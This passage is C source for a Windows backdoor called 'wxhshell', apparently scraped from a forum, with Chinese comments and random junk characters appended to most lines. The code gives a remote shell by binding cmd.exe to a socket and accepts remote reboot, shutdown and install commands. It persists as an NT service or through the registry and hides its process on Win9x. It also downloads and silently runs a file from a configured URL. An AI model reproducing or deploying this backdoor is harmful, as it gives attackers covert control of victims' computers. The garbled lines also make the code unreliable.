  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fZpi+I  
  } VoYL}67c  
  else { 9]Ue%%vM  
h STcL:b   
    switch(cmd[0]) { _cJ)v/]  
  N$Ad9W?T  
  // 帮助 a T(]  
  case '?': { r'yNc&~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UUDHknm"  
    break; kh# QT_y  
  } iJE:>qOTD5  
  // 安装 { i6L/U.  
  case 'i': { } r(b:}DN  
    if(Install()) B-_b.4ND)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]B;`Jf  
    else OS`jttU@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l'q%bi=f  
    break; sgP{A}4 W  
    } l!XCYg@67  
  // 卸载 L3HC-  
  case 'r': { y+k^CT/u  
    if(Uninstall()) P<Bx1H-z-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~b*]jZwT  
    else /0qbRk i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YFS6YA  
    break; riOaqV  
    } MvZa;B  
  // 显示 wxhshell 所在路径 L,.~VNy-  
  case 'p': { 'u x!:b"  
    char svExeFile[MAX_PATH]; q/zU'7%@  
    strcpy(svExeFile,"\n\r"); $%cHplQz5  
      strcat(svExeFile,ExeFile); i,^3aZwJ'  
        send(wsh,svExeFile,strlen(svExeFile),0); 6\I^]\YO  
    break; $adZ|Q\  
    } B(1-u!pz  
  // 重启 O6/ vFEB  
  case 'b': { E"VF BKB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rxX4Cw]\"y  
    if(Boot(REBOOT)) hsrf2Xw[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^?H|RAp  
    else { $m#^0%  
    closesocket(wsh); dq.U#Rhrx  
    ExitThread(0); m-azd ~r[  
    } ]w>o=<?b  
    break; ]i(/T$?~  
    } 4@{?4k-cq  
  // 关机 _b%)  
  case 'd': { W;=Ae~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z6${nUX  
    if(Boot(SHUTDOWN)) kd!?N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @k h<b<a4  
    else { 4 j=K3m  
    closesocket(wsh); JqMF9|{H  
    ExitThread(0); 6Jq[]l"v  
    } ,k~' S~w.  
    break; 1UJrPM%  
    } V6P-?Nd  
  // 获取shell p&RC#wYu  
  case 's': { siI%6Gn;  
    CmdShell(wsh); `WXlq#:K  
    closesocket(wsh); h-1?c\Qq:  
    ExitThread(0); =3(Auchl$Y  
    break; F^bY]\-5  
  } {*B0lr`  
  // 退出 C^L xuUW  
  case 'x': { g|]HS4y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YyxU/UnhG  
    CloseIt(wsh); K [DpH&  
    break; t?G6|3  
    } 2lsUCQI;  
  // 离开 Sp X;nH-D  
  case 'q': { aA#79LS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~5&4s  
    closesocket(wsh); 1b1Ab zN  
    WSACleanup(); Q >/,QX  
    exit(1); seEo)m`d  
    break; T%)E!:}v  
        } {>1FZsR49t  
  } ?v M9 !  
  } ~>(~2083*;  
)L:e0u  
  // 提示信息 1X5g(B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JXJ+lZmsz  
} u|t l@_  
  } 8-x-?7  
A811VL^  
  return; ErNYiYLi]  
} Oq.ss!/z  
gEj#>=s  
// shell模块句柄 )  FR7t  
int CmdShell(SOCKET sock) ]w6Q?%'9  
{ -sQ[f18  
STARTUPINFO si; *"w hup[  
ZeroMemory(&si,sizeof(si)); 4l  ZK@3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0i_:J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; klJ21j0Bb2  
PROCESS_INFORMATION ProcessInfo; HCN/|z1Xq  
char cmdline[]="cmd"; *z VN6wG{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ll|_Wd.K,  
  return 0; `?Q p>t  
} (|^m9v0:  
b&F9<XLqq  
// 自身启动模式 CfU|]<  
int StartFromService(void) VGQ~~U7}@  
{ @Iz]:@\cJ  
typedef struct uTR^K=Ve  
{ QnVr)4"  
  DWORD ExitStatus; l@B9}Icq  
  DWORD PebBaseAddress; V,_m>$Mo  
  DWORD AffinityMask; ) 6)bI.BY  
  DWORD BasePriority; OtqFI!ns  
  ULONG UniqueProcessId; {3`385  
  ULONG InheritedFromUniqueProcessId; 4=tR_s  
}   PROCESS_BASIC_INFORMATION; 'vBZh1`p  
$].htm  
PROCNTQSIP NtQueryInformationProcess; D|9+:Y  
*(Dmd$|0|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u)0I$Tc"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _h!.gZB3  
7l69SQo]?  
  HANDLE             hProcess; mF*x&^ie  
  PROCESS_BASIC_INFORMATION pbi; ~+dps i  
?+d`_/IB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U0_^6zd_  
  if(NULL == hInst ) return 0; 06pvI}   
_Ub `\ytx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !e|\1v'0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !B3TLe h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XH!#_jy  
p +i 1sY  
  if (!NtQueryInformationProcess) return 0; q ;'f3Y  
|GnTRahV.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uatUo  
  if(!hProcess) return 0; yU v YV-7  
C.jWT1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f,HUr% @  
sApix=Lr  
  CloseHandle(hProcess); , Z"<-%3  
C27:ty V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {]^Ixm-,f  
if(hProcess==NULL) return 0; ?mg@zq8  
0\%g@j-aD  
HMODULE hMod; &-ro pY  
char procName[255]; -@#w)  
unsigned long cbNeeded; {z FME41>g  
p u(mHB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \~5|~|9<  
@z@%vr=vX  
  CloseHandle(hProcess); D!&(#Vl _  
P"vrYom  
if(strstr(procName,"services")) return 1; // 以服务启动 3xChik{  
A8Ju+  
  return 0; // 注册表启动 glMHT,  
} Ha@; Sz<R  
5BhR4+1J  
// 主模块 iQ/~?'PB  
int StartWxhshell(LPSTR lpCmdLine) ;/K2h_=3z  
{ zU?O)w1'  
  SOCKET wsl; /}?7Eni  
BOOL val=TRUE; !__0Vk[s  
  int port=0; [%P#ieD4  
  struct sockaddr_in door; CZ5\Et6r  
%T/@/,7h  
  if(wscfg.ws_autoins) Install(); D4=*yP  
79h~w{IT@  
port=atoi(lpCmdLine); e,U:H~+]  
]O x5F@  
if(port<=0) port=wscfg.ws_port; BR2Gb~#T  
po*G`b;v  
  WSADATA data; I^ ?tF'E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kU<t~+  
l[}4 X/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ":Dm/g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iQ)ydY a  
  door.sin_family = AF_INET; 5f-b>=02  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^dQ{vL@9b9  
  door.sin_port = htons(port); Zl9@E;|=  
L)sgW(@2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [qYr~:`-[  
closesocket(wsl); 5>x_G#W  
return 1; ffrIi',@  
} {OU|'  
{D +mr[ %  
  if(listen(wsl,2) == INVALID_SOCKET) { oh9 ;_~  
closesocket(wsl); jm^.E\_  
return 1; >@YefNX6  
} tEhg',2t(  
  Wxhshell(wsl); ,EB}IG ]  
  WSACleanup(); z5>I9R^q;  
H71sxek3  
return 0; Wc3z7xK1@  
qlO}=b/  
} Ke$_l]}  
v 4ot08 C  
// 以NT服务方式启动 V0nQmsP1U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $T'!??|IF  
{ 1+x" 5<(W  
DWORD   status = 0; QU).q65p  
  DWORD   specificError = 0xfffffff; jj5S+ >4  
EApKN@<"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z>rY9VvWD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nr!N%Hi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :L[>!~YG_n  
  serviceStatus.dwWin32ExitCode     = 0; aLO^>",  
  serviceStatus.dwServiceSpecificExitCode = 0; PVCoXOqh  
  serviceStatus.dwCheckPoint       = 0; @R[{  
  serviceStatus.dwWaitHint       = 0; JB_fS/I  
sXIYl% d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a{5SOe;;  
  if (hServiceStatusHandle==0) return; #z `W ,^C  
,erw(7}'.  
status = GetLastError(); ;5[KZ8j6Y  
  if (status!=NO_ERROR) 8H!QekQZ]\  
{ rpR${%jc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }#XFa#  
    serviceStatus.dwCheckPoint       = 0; [0H0%z#tU&  
    serviceStatus.dwWaitHint       = 0; oo5=5s6 3}  
    serviceStatus.dwWin32ExitCode     = status; +EETo):  
    serviceStatus.dwServiceSpecificExitCode = specificError; FcDS*ZEk!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4.RQ3SoDa  
    return; zKJ2 ~=  
  } .|UQ)J?s  
{Cx5m   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,^(]zZh  
  serviceStatus.dwCheckPoint       = 0; @AsJnf$y  
  serviceStatus.dwWaitHint       = 0; jwZ,_CK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0I&k_7_   
} 8K 3dwoT  
M([#Py9h  
// 处理NT服务事件,比如:启动、停止 o96C^y{~S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "W|A^@r}  
{ wVf~FssN  
switch(fdwControl) d$dy6{/YD  
{ ahB qYA K9  
case SERVICE_CONTROL_STOP: V$^jlWdR  
  serviceStatus.dwWin32ExitCode = 0; {28|LwmL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $XBK_ 5  
  serviceStatus.dwCheckPoint   = 0; Fnw:alWr  
  serviceStatus.dwWaitHint     = 0; Ha'[uEDb  
  { yIMqQSt79z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .HqFdsm  
  } WjV15\,  
  return; K2   
case SERVICE_CONTROL_PAUSE: ]MbPivM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wX$:NOO  
  break; /ZLY@&M  
case SERVICE_CONTROL_CONTINUE: xO~ ElzGm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jlEz]@ i  
  break; ()3\(d5e  
case SERVICE_CONTROL_INTERROGATE: N ##`  
  break; wj|Zn+{"nF  
}; Vz{+3vfra6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?6#won  
} c0!.ei  
.L'w/"O  
// 标准应用程序主函数 0YeTS!*Aj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d0 cL9&~qW  
{ Qzi?%&  
Szus*YL7  
// 获取操作系统版本 /7Q|D sa  
OsIsNt=GetOsVer(); %u -x9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QrZ#<{,J5  
eL!41_QI  
  // 从命令行安装 '%)R}wgV  
  if(strpbrk(lpCmdLine,"iI")) Install(); k9|5TLXq?  
]I*c:(qwu  
  // 下载执行文件 `?Rq44=  
if(wscfg.ws_downexe) { U$rMZk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <Au2e  
  WinExec(wscfg.ws_filenam,SW_HIDE); iCt.rr~;V  
} ZzT=m*tQ&  
2_o#Gx'  
if(!OsIsNt) { nQ%HtXt;  
// 如果时win9x,隐藏进程并且设置为注册表启动 vW63j't_  
HideProc(); {h<D/:^v  
StartWxhshell(lpCmdLine); @ [$_cGR7  
} y4V:)@ P  
else s0kp(t!fiu  
  if(StartFromService()) gT+/nSrLV  
  // 以服务方式启动 enoj4g7em^  
  StartServiceCtrlDispatcher(DispatchTable); i;[y!U  
else 2|1fb-AR  
  // 普通方式启动 &hCbXs=  
  StartWxhshell(lpCmdLine); '6KvB  
'j1e(wq  
return 0; EeIDlm0o  
}
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只看该作者 1 发表于: 2006-10-10
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